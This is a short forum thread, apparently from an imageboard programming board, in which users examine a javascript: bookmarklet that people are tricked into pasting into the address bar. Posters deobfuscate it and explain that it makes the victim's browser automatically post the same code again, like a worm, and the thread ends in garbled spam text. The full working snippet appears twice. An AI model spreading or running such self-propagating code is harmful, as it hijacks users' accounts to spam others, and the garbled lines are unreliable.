Translation?

Someone keeps spamming this code on /b/ and I was curious if anyone around here knew what this actually does. He said to paste this: javascript:with(post){if(m=(t=delform.innerHTML).match(/es\/(\d+)/))innerHTML+='\x3cinput name=resto value='+m[1]+'\x3e';com.value=t.match(/~.*?\x7d/)[0].replace(/\x3cbr\x3e/gi,'\n');submit()} into your address bar and hit enter.

It's a virus.  Don't touch it.

back to /b/, please, problem solved.

javascript:
    with(post) {
        t = delform.innerHTML;
        m = t.match(/es\/(\d+)/);
        if(m) innerHTML += '<input name=resto value='+m[1]+'>';
        com.value = t.match(/~.*?}/)[0].replace(/<br>/gi,'\n');
        submit();
    }
I'm guessing it makes you post a reply containing the `virus'.

PS: InnerHTML is for failures.

The neural anus will still have preconceptions   just not The   panacea of programming   languages 4 types   and programming languages   are tools and   techniques Lest he   forget which arrow.

/prog/ will be spammed continuously until further notice. we apologize for any inconvenience this may cause.